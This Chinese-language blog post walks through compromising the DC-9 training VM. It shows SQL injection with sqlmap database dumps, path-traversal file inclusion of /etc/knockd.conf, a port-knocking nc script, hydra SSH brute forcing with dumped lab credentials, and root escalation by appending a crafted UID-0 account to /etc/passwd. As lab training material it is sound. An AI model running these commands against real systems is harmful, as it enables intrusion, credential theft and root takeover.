DC9靶機滲透全流程

starme發表於2024-10-15

DC-9 √

192.168.40.169

參考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596

https://www.cnblogs.com/Bitores/p/14759425.html

1.nmap

nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535

image-20230801223642759

image-20230801223748255

照樣還是22/ssh服務,80/http服務

2.dirsearch掃目錄

dirsearch -u 192.168.40.169 -e * -x 403 --random-agent

image-20230801224630470

3.wappalyzer

image-20230817153709349

發現並沒有用CMS

4.SQL隱碼攻擊

到處點選,尋找輸入框:在Search模組可找到

image-20230801224845279

而且點選Submit後,發現頁面有跳轉的情況.抓包看情況:

image-20230801225207032

萬能密碼驗證SQL隱碼攻擊:

1' or 1=1#

image-20230801225325678

sqlmap這裡使用:

https://www.cnblogs.com/Bitores/p/14759425.html

# sqlmap之POST型傳參 : information_schema,Staff,users
# 根據上圖的HTTP請求報文,得出:
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs

image-20230801230350731

# 爆表
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables

image-20230802000924686

# 列:firstname,id,lastname,password,reg_date,username
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns

image-20230802001033866

# Staff資料庫
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# users資料庫
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump

注意:

1.payload中的資料庫名、表名、欄位名都不要用引號包圍

2.注意區分大小寫

Staff庫

image-20230802001616305

admin/transorbital1

users庫

image-20230802220006868

5.檔案包含

登入後發現:

image-20230802002002853

可能是檔案包含漏洞,嘗試:發現存在檔案包含漏洞

image-20230802002545600

其實應該像DC-5一樣需要爆破引數名,這裡就省去了,直接猜測引數名為file

嘗試包含Apache的日誌檔案:/var/log/apache2/access.log

image-20230802213009956

6.knockd敲門與關門

再結合前面nmap掃描時22埠的狀態是filter,猜測可能是伺服器裝了knockd

關於knockd:

image-20230802213325657

檢視knocked的配置檔案:knockd.conf

http://192.168.40.169/welcome.php?file=../../../../../etc/knockd.conf

image-20230802213550741

解析:

image-20230802213610031

image-20230802213716117

即使用iptables命令來允許或禁止透過TCP埠22(即SSH埠)的連線

接下來就要開啟22埠:

這裡參考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596

#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
nmap -A 192.168.40.169 -p 22

敲門並檢視22埠是否開啟:

image-20230802214847047

7.hydra爆破SSH賬號密碼

埠開啟後就可以嘗試SSH連線:

結合第4步的結果:

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
3kfs86sfd
468sfdfsd2
sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

另:chatGPT寫了一個轉化指令碼:https://wwwg.lanzouk.com/iaUz41485nwj

image-20230802221623628

效果:

image-20230802221700730

分別寫入到users.txt和passwd.txt之中,

# 使用hydra爆破:
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh

image-20230802223119645

三組資料:

chandlerb / UrAG0D!

joeyt / Passw0rd

janitor / Ilovepeepee

這裡採用第一組資料

ssh chandlerb@192.168.40.169

image-20230802223700948

但是沒找到有用資訊

嘗試第二組資料:依舊沒有有用資訊

image-20230802224148661

嘗試第三組資料:

image-20230802224234496

cat passwords-found-on-post-it-notes.txt

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

在第4步爆出的賬號中匹配到了三個,分別是

image-20230802224954143

BamBam01
Passw0rd
smellycats

結合這個與hydra爆出的資料,選擇joeyt 使用者進行提權

find / -perm -u=s -type f 2>/dev/null

image-20230802225618142

一眼望去,沒有提權點

再看WP,得知要把passwords-found-on-post-it-notes.txt中的資料補充到passwd.txt中,然後再次hydra爆破:

image-20230802230810686

爆出了一組新的賬號密碼

fredf / B4-Tru3-001

ssh fredf@192.168.40.169
sudo -l

image-20230802231023834

NOPASSWD: /opt/devstuff/dist/test/test

cd /opt/devstuff/dist/test

發現了大量.so檔案:

image-20230802231456277

.so是Linux下的動態連結,類似於Windows下的.dll檔案

檢視其他目錄:

image-20230802231640517

在/opt/devstuff目錄下發現了test.py和test.spec檔案

.spec檔案:

可以是指由被叫的rpmbuild程式中使用的文字檔案。這個程式是用來建立RPM包。 RPM代表Red Hat軟體包管理。這些軟體包用於安裝Linux程式。該檔案包含包名稱,版權資訊,版本,引用程式檔案,總結,並說明建立和安裝軟體包。

#!/usr/bin/python
# 該檔案根據給定的命令列引數讀取一個檔案,並將其內容附加到另一個檔案的末尾
# 本檔案中的第一個引數sys.argv[0]代表程式本身,第二個引數sys.argv[1]代表第一個檔案,第三個引數sys.argv[2]代表另一個檔案
import sys

if len (sys.argv) != 3 : # 保證命令列引數的數量為3
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r") # 以只讀模式開啟第二個命令列引數指定的檔案
    output = (f.read()) # 將內容讀取到變數output中

    f = open(sys.argv[2], "a") # 以追加模式開啟第三個命令列引數指定的檔案
    f.write(output) # 進行追加
    f.close()

大體思路就是寫一個root許可權賬號出來,透過該指令碼,追加到/etc/passwd之中

怎麼寫賬號密碼?

Linux是怎麼生成密碼的?

透過openshell生成密碼,透過md5加密

perl -le 'print crypt("666","salt")'  # 將字串"666"使用鹽"salt"進行加密

得到:sat087sUBmRKY

image-20230802233357401

據此,構造出賬戶:

echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd

passwd的格式:

[⽤戶名]:[密碼]:[UID]:[GID]:[⾝份描述]:[主⽬錄]:[登入shell]

sudo ./test /tmp/passwd /etc/passwd

image-20230802234242620

image-20230802234326958

8.小結

# DC-9
# nmap 
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535
# 目錄掃描-dirsearch
dirsearch -u 192.168.40.169 -e * -x 403 --random-agent
# wappalyzer
沒有明顯的CMS
# POST型SQL隱碼攻擊
查詢框+頁面跳轉->bp抓包
萬能密碼 1' or 1=1# 驗證出SQL隱碼攻擊
# 資料庫users
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
# 另一個資料庫-Staff 
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# 注意點: 1.名稱不用引號包圍 2.注意大小寫

# 檔案包含
File does not exit ->猜測引數為file,透過/etc/passwd驗證出檔案包含漏洞

# knockd-filter狀態
/etc/knockd.conf
# 敲門
#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
# 檢視
nmap -A 192.168.40.169 -p 22

# hydra爆破:實現資料庫賬號密碼->SSH賬號密碼
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh
# 登入後查到隱藏的密碼,增添後再次爆破->獲得真正的能夠提權的使用者
sudo -l

# 結合可執行檔案(用於追加資料)+/etc/passwd提權
perl -le 'print crypt("666","salt")'
echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd
sudo ./test /tmp/passwd /etc/passwd

相關文章